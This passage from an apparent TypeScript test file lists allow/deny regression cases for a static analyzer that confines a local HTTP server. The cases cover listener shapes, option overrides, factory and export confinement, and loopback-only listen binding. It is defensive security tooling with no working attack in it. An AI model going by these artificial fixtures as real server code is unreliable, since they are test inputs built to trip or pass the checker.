a;\nhttp.createServer(a);`, ['LISTENER_NOT_FUNCTION']), + deny('createServer listener boundary', 'pattern at parameter 0', `${NS}\nhttp.createServer(({ url }, response) => { response.end(String(url)); });`, ['LISTENER_PARAMETER_PATTERN']), + deny('createServer listener boundary', 'pattern at parameter 1', `${NS}\nhttp.createServer((request, { socket }) => { socket; });`, ['LISTENER_PARAMETER_PATTERN']), + deny('createServer listener boundary', 'rest at parameter 0', `${NS}\nhttp.createServer((...args: any[]) => { args[1].socket; });`, ['LISTENER_PARAMETER_PATTERN']), + deny('createServer listener boundary', 'rest at parameter 1', `${NS}\nhttp.createServer((request, ...rest: any[]) => { rest[0].socket; });`, ['LISTENER_PARAMETER_PATTERN']), + deny('createServer listener boundary', 'this parameter listener', `${NS}\nhttp.createServer(function (this: unknown, request, response) { response.end(); });`, ['LISTENER_THIS_PARAMETER']), + deny('createServer listener boundary', 'optional-chained namespace call', `${NS}\nhttp?.createServer(${L});`, ['CREATE_SERVER_NOT_CALLED']), + deny('createServer listener boundary', 'optional-chained createServer call', `${NS}\nhttp.createServer?.(${L});`, ['CREATE_SERVER_NOT_CALLED']), + deny('createServer listener boundary', 'tagged template createServer', `${NS}\nhttp.createServer\`x\`;`, ['CREATE_SERVER_NOT_CALLED']), + deny('createServer listener boundary', 'optional-chained named createServer', `${NAMED}\ncreateServer?.(${L_PLAIN});`, ['CREATE_SERVER_ESCAPE']), + allow('createServer listener boundary', 'arrow listener', `${NS}\nhttp.createServer(${L});`), + allow('createServer listener boundary', 'async arrow listener', `${NS}\nhttp.createServer(async (request, response) => { response.end(); });`), + allow('createServer listener boundary', 'anonymous function expression listener', `${NS}\nhttp.createServer(function (request, response) { response.end(); });`), + allow('createServer listener boundary', 'named function expression listener', `${NS}\nhttp.createServer(function handler(request, response) { response.end(); });`), + allow('createServer listener boundary', 'unique FunctionDeclaration listener', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(\`\${request.url}\`); }\nhttp.createServer(handle);`), + allow('createServer listener boundary', 'hoisted FunctionDeclaration listener', `${NS}\nhttp.createServer(handle);\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(); }`), + allow('createServer listener boundary', 'const listener spine', `${NS}\nconst h1 = ${L};\nconst h2 = h1;\nhttp.createServer(h2);`), + allow('createServer listener boundary', 'wrapped listener', `${NS}\nhttp.createServer((${L}) as any);`), + allow('createServer listener boundary', 'wrapped callee', `${NS}\n(http.createServer)(${L});`), + allow('createServer listener boundary', 'zero-parameter listener', `${NS}\nhttp.createServer(() => {});`), + allow('createServer listener boundary', 'one-parameter listener', `${NS}\nhttp.createServer((request) => { request.url; });`), + allow('createServer listener boundary', 'pattern at parameter 2 is unconstrained', `${NS}\nhttp.createServer((request, response, { extra }: any) => { response.end(\`\${extra}\`); });`), + allow('createServer listener boundary', 'exported const listener', `${NS}\nexport const handler = ${L};\nhttp.createServer(handler);`), +]; + +// --------------------------------------------------------------------------- +// 12. options argument DENY +// --------------------------------------------------------------------------- + +const OPTIONS: readonly RegressionRow[] = [ + deny('options argument DENY', 'empty options object', `${NS}\nhttp.createServer({}, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'IncomingMessage override option', `${NS}\nclass Evil {}\nhttp.createServer({ IncomingMessage: Evil }, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'ServerResponse override option', `${NS}\nclass Evil {}\nhttp.createServer({ ServerResponse: Evil }, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'shouldUpgradeCallback option', `${NS}\nhttp.createServer({ shouldUpgradeCallback: () => true }, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'options through a const', `${NS}\nconst opts = { keepAlive: true };\nhttp.createServer(opts, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'undefined options placeholder', `${NS}\nhttp.createServer(undefined, ${L});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'options only', `${NS}\nhttp.createServer({ keepAlive: true } as any);`, ['LISTENER_NOT_FUNCTION'], { closes: ['F-5'] }), + deny('options argument DENY', 'options with named createServer', `${NAMED}\ncreateServer({ keepAlive: true }, ${L_PLAIN});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'options in factory return', `${NS}\nexport function make() { return http.createServer({}, ${L}); }`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), + deny('options argument DENY', 'listener then options', `${NS}\nhttp.createServer(${L}, {});`, ['CREATE_SERVER_ARITY'], { closes: ['F-5'] }), +]; + +// --------------------------------------------------------------------------- +// 13. factory confinement +// --------------------------------------------------------------------------- + +const FACTORY: readonly RegressionRow[] = [ + allow('factory confinement', 'real exported factory and const consumer', withFactory(`const server = createCockpitServer();\nserver.listen(4317, '127.0.0.1');`)), + allow('factory confinement', 'const arrow factory', `${NS}\nconst make = () => http.createServer(${L});\nconst server = make();\nserver.listen(4317, '127.0.0.1');`), + allow('factory confinement', 'const function-expression factory', `${NS}\nconst make = function () { return http.createServer(${L}); };\nmake().listen(4317, '127.0.0.1');`), + allow('factory confinement', 'factory returning another factory', withFactory(`function outer() { return createCockpitServer(); }\nouter().listen(4317, '127.0.0.1');`)), + allow('factory confinement', 'factory returning a rooted const alias', withServer(`function get() { return server; }\nget().close();`)), + allow('factory confinement', 'multiple SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).listen(4317, '127.0.0.1');`), + allow('factory confinement', 'export default function factory', `${NS}\nexport default function make() { return http.createServer(${L}); }\nmake().listen(4317, '127.0.0.1');`), + allow('factory confinement', 'factory exported by specifier', `${NS}\nfunction make() { return http.createServer(${L}); }\nexport { make };`), + allow('factory confinement', 'factory referenced by typeof', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst t = typeof make;\nt;`), + allow('factory confinement', 'factory with parameters', `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`), + deny('factory confinement', 'mixed SERVER/non-SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return null; }\nmake(true);`, ['SERVER_UNCONFINED_RETURN'], { + closes: ['F-6'], + }), + deny('factory confinement', 'IIFE factory', `${NS}\nconst server = (function () { return http.createServer(${L}); })();`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'class method factory', `${NS}\nclass Host { make() { return http.createServer(${L}); } }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'object-held arrow factory', `${NS}\nconst host = { make: () => http.createServer(${L}) };`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'callback-returned server', `${NS}\n[1].map(() => http.createServer(${L}));`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory identity in array', `${NS}\nconst make = () => http.createServer(${L});\nconst fns = [make];`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory identity as argument', `${NS}\nfunction make() { return http.createServer(${L}); }\nuse(make);`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory identity aliased', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst m = make;`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory identity stored on an object', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst o = { make };`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory identity returned', `${NS}\nfunction make() { return http.createServer(${L}); }\nfunction pick() { return make; }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory .call receiver', `${NS}\nfunction make() { return http.createServer(${L}); }\nmake.call(null);`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory .bind receiver', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst b = make.bind(null);`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'async factory', `${NS}\nasync function make() { return http.createServer(${L}); }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'generator factory', `${NS}\nfunction* make() { return http.createServer(${L}); }`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'let-bound arrow factory', `${NS}\nlet make = () => http.createServer(${L});`, ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory returning its parameter', withServer(`function id(s: http.Server) { return s; }\nid(server);`), ['SERVER_UNCONFINED_RETURN'], { closes: ['F-6'] }), + deny('factory confinement', 'factory returning a PARAM-derived alias', withServer(`function id(s: http.Server) { const t = s; return t; }\nid(server);`), ['SERVER_UNCONFINED_RETURN'], { + closes: ['F-6'], + }), + deny('factory confinement', 'factory returning a let alias', `${NS}\nfunction make() { let s = http.createServer(${L}); return s; }`, ['SERVER_MUTABLE_BINDING'], { closes: ['F-6'] }), + deny('factory confinement', 'factory returning a wrapped conditional', `${NS}\nfunction make(x: boolean) { return (x ? http.createServer(${L}) : http.createServer(${L})); }`, ['SERVER_ESCAPE'], { + closes: ['F-6'], + }), + deny('factory confinement', 'factory result non-allowed member', withFactory(`createCockpitServer().on('x', () => {});`), ['SERVER_MEMBER'], { closes: ['F-6'] }), + deny('factory confinement', 'factory result in container', withFactory(`const servers = [createCockpitServer()];`), ['SERVER_ESCAPE'], { closes: ['F-6'] }), + deny('factory confinement', 'factory result exported', withFactory(`export const server = createCockpitServer();`), ['SERVER_EXPORT'], { closes: ['F-6', 'F-7'] }), + deny('factory confinement', 'server-returning function with a this parameter', `${NS}\nfunction make(this: unknown) { return http.createServer(${L}); }`, ['SERVER_UNCONFINED_RETURN'], { + closes: ['F-6'], + }), +]; + +// --------------------------------------------------------------------------- +// 14. result confinement +// --------------------------------------------------------------------------- + +const RESULT: readonly RegressionRow[] = [ + allow('result confinement', 'expression statement', `${NS}\nhttp.createServer(${L});`), + allow('result confinement', 'void operand', `${NS}\nvoid http.createServer(${L});`), + allow('result confinement', 'typeof operand', `${NS}\ntypeof http.createServer(${L});`), + allow('result confinement', 'direct listen', `${NS}\nhttp.createServer(${L}).listen(4317, '127.0.0.1');`), + allow('result confinement', 'direct close', `${NS}\nhttp.createServer(${L}).close();`), + allow('result confinement', 'confined const initializer', `${NS}\nconst server = http.createServer(${L});`), + allow('result confinement', 'confined factory return', `${NS}\nfunction make() { return http.createServer(${L}); }`), + allow('result confinement', 'approved propagation', `${NS}\nfunction setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(http.createServer(${L}));`), + deny('result confinement', 'let binding', `${NS}\nlet s = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']), + deny('result confinement', 'var binding', `${NS}\nvar s = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']), + deny('result confinement', 'array element', `${NS}\nconst a = [http.createServer(${L})];`, ['SERVER_ESCAPE']), + deny('result confinement', 'object property', `${NS}\nconst o = { s: http.createServer(${L}) };`, ['SERVER_ESCAPE']), + deny('result confinement', 'arbitrary call argument', `${NS}\nuse(http.createServer(${L}));`, ['SERVER_ESCAPE']), + deny('result confinement', 'new argument', `${NS}\nclass Box { constructor(public v: unknown) {} }\nnew Box(http.createServer(${L}));`, ['SERVER_ESCAPE']), + deny('result confinement', 'destructuring initializer', `${NS}\nconst { listen } = http.createServer(${L});`, ['SERVER_DESTRUCTURING']), + deny('result confinement', 'assignment', `${NS}\nlet s;\ns = http.createServer(${L});`, ['SERVER_ESCAPE']), + deny('result confinement', 'conditional', `${NS}\nconst s = Math.random() > 0.5 ? http.createServer(${L}) : null;`, ['SERVER_ESCAPE']), + deny('result confinement', 'comma', `${NS}\nconst s = (0, http.createServer(${L}));`, ['SERVER_ESCAPE']), + deny('result confinement', 'await', `${NS}\nconst s = await http.createServer(${L});`, ['SERVER_ESCAPE']), + deny('result confinement', 'template span', `${NS}\nconst t = \`\${http.createServer(${L})}\`;`, ['SERVER_ESCAPE']), + deny('result confinement', 'class field initializer', `${NS}\nclass Host { s = http.createServer(${L}); }`, ['SERVER_ESCAPE']), + deny('result confinement', 'direct default export', `${NS}\nexport default http.createServer(${L});`, ['SERVER_EXPORT']), + deny('result confinement', 'direct exported const', `${NS}\nexport const s = http.createServer(${L});`, ['SERVER_EXPORT']), + deny('result confinement', 'non-allowed member on result', `${NS}\nhttp.createServer(${L}).on('x', () => {});`, ['SERVER_MEMBER']), + deny('result confinement', 'member read without call on result', `${NS}\nconst l = http.createServer(${L}).listen;`, ['SERVER_MEMBER']), + deny('result confinement', 'optional-chained member on result', `${NS}\nhttp.createServer(${L})?.listen(4317, '127.0.0.1');`, ['SERVER_MEMBER']), + deny('result confinement', 'spread of result', `${NS}\nuse(...(http.createServer(${L}) as any));`, ['SERVER_ESCAPE']), + deny('result confinement', 'result in a nullish expression', `${NS}\nconst s = http.createServer(${L}) ?? null;`, ['SERVER_ESCAPE']), + deny('result confinement', 'result in an equality test', `${NS}\nif (http.createServer(${L}) === null) {}`, ['SERVER_ESCAPE']), + deny('result confinement', 'result as heritage expression', `${NS}\nclass Sub extends (http.createServer(${L}) as any) {}`, ['SERVER_ESCAPE']), + // PR #67 F2: allowed member call results are confined exactly like the values they were called on. + deny('result confinement', 'listen result as call argument (PR #67 F2)', withServer(`use(server.listen(4317, '127.0.0.1'));`), ['SERVER_ESCAPE']), + deny('result confinement', 'createServer result listen chain non-allowed member', `${NS}\nhttp.createServer(${L}).listen(4317, '127.0.0.1').on('x', () => {});`, ['SERVER_MEMBER']), + deny('result confinement', 'listen result in container', withServer(`const a = [server.listen(4317, '127.0.0.1')];`), ['SERVER_ESCAPE']), + deny('result confinement', 'listen result returned from an unconfined function', withServer(`function start() { return server.listen(4317, '127.0.0.1'); }`), ['SERVER_UNCONFINED_RETURN']), + deny('result confinement', 'end result returned from an arrow body', inListener(`const send = () => response.end('x');`), ['RESPONSE_UNCONFINED_RETURN']), + deny('result confinement', 'listen result assigned', withServer(`let s;\ns = server.listen(4317, '127.0.0.1');`), ['SERVER_ESCAPE']), + deny('result confinement', 'listen result propagated then misused', withServer(`function setup(s: http.Server) { s.on('x', () => {}); }\nsetup(server.listen(4317, '127.0.0.1'));`), ['SERVER_MEMBER']), + allow('result confinement', 'listen result passed to an eligible local callee', withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(4317, '127.0.0.1'));`)), + allow('result confinement', 'listen result as expression statement', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)), +]; + +// --------------------------------------------------------------------------- +// 15. export confinement +// --------------------------------------------------------------------------- + +const EXPORT: readonly RegressionRow[] = [ + deny('export confinement', 'export { server }', withServer(`export { server };`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export { server as s }', withServer(`export { server as s };`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export { server as default }', withServer(`export { server as default };`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export default server', withServer(`export default server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export const server = createServer(...)', `${NS}\nexport const server = http.createServer(${L});`, ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export const server = factory()', withFactory(`export const server = createCockpitServer();`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export default factory()', withFactory(`export default createCockpitServer();`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export = server', withServer(`export = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'export of a const alias of server', withServer(`const alias = server;\nexport { alias };`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + deny('export confinement', 'exported const alias of server', withServer(`export const alias = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + // PR #67 F2: exporting an allowed member call result exports the receiver's authority. + deny('export confinement', 'export const leaked = server.listen(...) (PR #67 F2)', withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']), + deny('export confinement', 'Codex P1 witness: exported fluent listen result subscribed to connection', withServer(`export const leaked = server.listen(4317, '127.0.0.1');\nleaked.on('connection', (socket) => { socket.write('x'); });`), ['SERVER_EXPORT']), + deny('export confinement', 'export default server.listen(...)', withServer(`export default server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']), + deny('export confinement', 'export of a const alias of a listen result', withServer(`const leaked = server.listen(4317, '127.0.0.1');\nexport { leaked };`), ['SERVER_EXPORT']), + allow('export confinement', 'export function factory', withFactory(``)), + allow('export confinement', 'export { factory }', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport { createCockpitServer };`), + allow('export confinement', 'export default function factory', `${NS}\nexport default function createCockpitServer() { return http.createServer(${L}); }`), + allow('export confinement', 'export default factory identifier', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport default createCockpitServer;`), + allow('export confinement', 'export of unrelated constants', withServer(`export const HOST = '127.0.0.1';\nexport const PORT = 4317;\nserver.listen(PORT, HOST);`)), + allow('export confinement', 'export type of server type', withServer(`export type CockpitServer = typeof server;`)), +]; + +// --------------------------------------------------------------------------- +// 16. convergence/exhaustion +// --------------------------------------------------------------------------- + +const FIXPOINT: readonly RegressionRow[] = [ + allow('convergence/exhaustion', 'reverse propagation chain converges under the default ceiling', reverseChain(6)), + deny('convergence/exhaustion', 'reverse propagation chain exhausts a low ceiling', reverseChain(6), ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 2 } }), + deny('convergence/exhaustion', 'exhaustion denies even an otherwise-allowed real host shape', REAL_HOST_SHAPE, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }), + allow('convergence/exhaustion', 'recursive alias/factory cycle converges', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().listen(4317, '127.0.0.1');`)), + allow('convergence/exhaustion', 'empty file converges', ``), + allow('convergence/exhaustion', 'alias chain through allowed call results converges', withServer(`const a = server.listen(4317, '127.0.0.1');\nconst b = a.close();\nb.close();`)), +]; + +// --------------------------------------------------------------------------- +// 17. extra parameter false positives +// --------------------------------------------------------------------------- + +const EXTRA_PARAMETERS: readonly RegressionRow[] = [ + allow('extra parameter false positives', 'listener third parameter is unprivileged', `${NS}\nhttp.createServer((request, response, extra: any) => { extra.socket.write('x'); response.end(); });`, { + closes: ['F-1'], + }), + allow('extra parameter false positives', 'listener rest after index 1 is unprivileged', `${NS}\nhttp.createServer((request, response, ...rest: any[]) => { rest[0].socket; });`, { closes: ['F-1'] }), + allow('extra parameter false positives', 'FunctionDeclaration listener third parameter', `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse, next: any) { next.socket; response.end(); }\nhttp.createServer(handle);`, { + closes: ['F-1'], + }), + allow('extra parameter false positives', 'eligible callee parameter receiving a non-privileged argument', `${NS}\nfunction f(res: any) { res.socket; }\nhttp.createServer((request, response) => { f({}); response.end(); });`, { + closes: ['F-1'], + }), + allow('extra parameter false positives', 'same-named parameter in an unrelated function', `${NS}\nhttp.createServer(${L});\nfunction other(request: any, response: any) { request.socket; response.socket; }`, { + closes: ['F-1'], + }), + allow('extra parameter false positives', 'unusually named listener parameters', `${NS}\nhttp.createServer((a, b) => { a.url; b.end(); });`), + deny('extra parameter false positives', 'unusually named listener parameters still privileged', `${NS}\nhttp.createServer((a, b) => { a.socket; });`, ['REQUEST_MEMBER'], { closes: ['F-1'] }), + allow('extra parameter false positives', 'callee third parameter unprivileged even when first two are privileged', `${NS}\nfunction f(req: any, res: any, ctx: any) { ctx.socket; res.end(); }\nhttp.createServer((request, response) => { f(request, response, {}); });`, { + closes: ['F-1'], + }), + // PR #67: call results inherit authority only from a receiver that already carries it. + allow('extra parameter false positives', 'user-defined method named like an allowed server member on an unprivileged receiver', withServer(`const o = { listen: () => ({ on: (x: string) => x }) };\no.listen().on('x');\nserver.close();`)), + allow('extra parameter false positives', 'user-defined method named like an allowed response member on an unprivileged receiver', inListener(`const box = { end: () => ({ socket: 1 }) };\nbox.end().socket;\nresponse.end();`)), + allow('extra parameter false positives', 'call result of an unrelated const receiver', withServer(`const o = { close: () => ({ address: () => 1 }) };\nconst r = o.close();\nr.address();\nserver.close();`)), + allow('extra parameter false positives', 'user-defined method call result on a shadowed global name', `const self = { valueOf: () => ({ fetch: 1 }) };\nconst v = self.valueOf();\nv.fetch;`), +]; + +// --------------------------------------------------------------------------- +// 18. real host acceptance +// --------------------------------------------------------------------------- + +const REAL_HOST: readonly RegressionRow[] = [ + allow('real host acceptance', 'inline replica of the Stage-A host', REAL_HOST_SHAPE), + allow('real host acceptance', 'type positions on the namespace', `${NS}\nfunction f(request: http.IncomingMessage, response: http.ServerResponse): http.Server | null { request; response; return null; }`), + allow('real host acceptance', 'request.method nullish fallback', inListener(`const method = request.method ?? '';\nif (method !== 'GET') { response.statusCode = 405; response.setHeader('Allow', 'GET'); response.end('405'); return; }`)), + allow('real host acceptance', 'request.url passed to a pure helper', inListener(`function pathOf(url: string) { return url; }\nconst path = pathOf(request.url ?? '');\nresponse.end(\`\${path}\`);`)), + allow('real host acceptance', 'listen with host and port constants', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => { console.log(HOST); }); }\nmain();`)), +]; + +// --------------------------------------------------------------------------- +// 19. loopback listen binding (PR #67 B1) +// --------------------------------------------------------------------------- + +/** The real host replica with its loopback host literal replaced by `host`. */ +const replicaListeningOn = (host: string): string => REAL_HOST_SHAPE.replace(`'127.0.0.1'`, `'${host}'`); + +const LISTEN_BINDING: readonly RegressionRow[] = [ + deny('loopback listen binding', 'wildcard IPv4 host', withServer(`server.listen(4317, '0.0.0.0');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'wildcard IPv6 host', withServer(`server.listen(4317, '::');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'port only', withServer(`server.listen(4317);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'no arguments', withServer(`server.listen();`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'IPv6 loopback literal is not the bound host', withServer(`server.listen(4317, '::1');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'localhost name is not the bound host', withServer(`server.listen(4317, 'localhost');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'ambient host binding', withServer(`declare const dynamicHost: string;\nserver.listen(4317, dynamicHost);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'mutable host binding', withServer(`let host = '127.0.0.1';\nserver.listen(4317, host);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'reassigned const-like host', withServer(`var host = '127.0.0.1';\nhost = '0.0.0.0';\nserver.listen(4317, host);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'wildcard host through a const', withServer(`const HOST = '0.0.0.0';\nserver.listen(4317, HOST);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'exported wildcard constants', withServer(`export const HOST = '0.0.0.0';\nexport const PORT = 4317;\nserver.listen(PORT, HOST);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'host from a runtime expression', withServer(`declare const env: Record;\nconst HOST = env['HOST'] ?? '127.0.0.1';\nserver.listen(4317, HOST);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'ambient port binding', withServer(`declare const port: number;\nserver.listen(port, '127.0.0.1');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'port above range', withServer(`server.listen(65536, '127.0.0.1');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'pipe path as port', withServer(`server.listen('/tmp/cockpit.sock', '127.0.0.1');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'options object form', withServer(`server.listen({ port: 4317, host: '127.0.0.1' });`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'spread arguments', withServer(`declare const args: [number, string];\nserver.listen(...args);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'spread callback', withServer(`declare const rest: [() => void];\nserver.listen(4317, '127.0.0.1', ...rest);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'backlog instead of callback', withServer(`server.listen(4317, '127.0.0.1', 511);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'ambient callback', withServer(`declare const onUp: () => void;\nserver.listen(4317, '127.0.0.1', onUp);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'fourth argument', withServer(`server.listen(4317, '127.0.0.1', () => {}, 511);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'computed listen key without host', withServer(`server['listen'](4317);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'listen on a call-result receiver', withServer(`server.close().listen(4317);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'listen on the createServer result', `${NS}\nhttp.createServer(${L}).listen(4317);`, ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'listen on a PARAM-derived server', withServer(`function setup(s: http.Server) { s.listen(4317); }\nsetup(server);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'listen on a confined factory result', withFactory(`createCockpitServer().listen(4317);`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'listen on a const alias of the server', withServer(`const a = server;\na.listen(4317, '0.0.0.0');`), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'wildcard binding inside the real host shape', replicaListeningOn('0.0.0.0'), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'unspecified IPv6 binding inside the real host shape', replicaListeningOn('::'), ['SERVER_LISTEN_BINDING']), + deny('loopback listen binding', 'misbound listen result still carries SERVER authority', withServer(`server.listen(4317).on('x', () => {});`), ['SERVER_LISTEN_BINDING', 'SERVER_MEMBER']), + allow('loopback listen binding', 'port and loopback host literals', withServer(`server.listen(4317, '127.0.0.1');`)), + allow('loopback listen binding', 'arrow callback', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)), + allow('loopback listen binding', 'function-expression callback', withServer(`server.listen(4317, '127.0.0.1', function () { console.log('up'); });`)), + allow('loopback listen binding', 'local function-declaration callback', withServer(`function onUp() { console.log('up'); }\nserver.listen(4317, '127.0.0.1', onUp);`)), + allow('loopback listen binding', 'const arrow callback', withServer(`const onUp = () => { console.log('up'); };\nserver.listen(4317, '127.0.0.1', onUp);`)), + allow('loopback listen binding', 'exported loopback constants (real host)', withServer(`export const HOST = '127.0.0.1';\nexport const PORT = 4317;\nserver.listen(PORT, HOST, () => {});`)), + allow('loopback listen binding', 'template literal host', withServer('server.listen(4317, `127.0.0.1`);')), + allow('loopback listen binding', 'wrapped arguments', withServer(`server.listen(4317 as number, ('127.0.0.1' as string));`)), + allow('loopback listen binding', 'computed listen key with loopback host', withServer(`server['listen'](4317, '127.0.0.1');`)), + allow('loopback listen binding', 'decimal-string port is the same numeric port', withServer(`server.listen('4317', '127.0.0.1');`)), + allow('loopback listen binding', 'numeric literal forms resolve to their decimal value', withServer(`server.listen(0x10dd, '127.0.0.1');`)), + allow('loopback listen binding', 'port zero (ephemeral, still loopback)', withServer(`server.listen(0, '127.0.0.1');`)), + allow('loopback listen binding', 'loopback listen on a call-result receiver', withServer(`server.close().listen(4317, '127.0.0.1');`)), + allow('loopback listen binding', 'loopback listen on a PARAM-derived server', withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(server);`)), + allow('loopback listen binding', 'loopback listen on the real host replica', REAL_HOST_SHAPE), +]; + +// --------------------------------------------------------------------------- +// 20. server instantiation site bound (PR #67 B2) +// --------------------------------------------------------------------------- + +const INSTANTIATION_SITES: readonly RegressionRow[] = [ + deny('server instantiation site bound', 'two direct createServer sites', `${NS}\nconst a = http.createServer(${L});\nconst b = http.createServer(${L});\na.close();\nb.close();`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'two direct sites as expression statements', `${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'two named-import sites', `${NAMED}\nconst a = createServer(${L_PLAIN});\nconst b = createServer(${L_PLAIN});\na.close();\nb.close();`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'direct site plus confined-factory call', withFactory(`const a = createCockpitServer();\nconst b = http.createServer(${L});\na.close();\nb.close();`), ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'two confined-factory call sites', withFactory(`createCockpitServer().close();\ncreateCockpitServer().close();`), ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'two const-arrow factory call sites', `${NS}\nconst make = () => http.createServer(${L});\nconst a = make();\nconst b = make();\na.close();\nb.close();`, ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'aliased results from two distinct sites', withFactory(`const first = createCockpitServer();\nconst alias = first;\nconst second = createCockpitServer();\nalias.close();\nsecond.close();`), ['CREATE_SERVER_MULTIPLE']), + deny('server instantiation site bound', 'spare site in real-host-shaped code', withFactory(`const HOST = '127.0.0.1';\nconst PORT = 4317;\nfunction main() { const server = createCockpitServer(); server.listen(PORT, HOST, () => 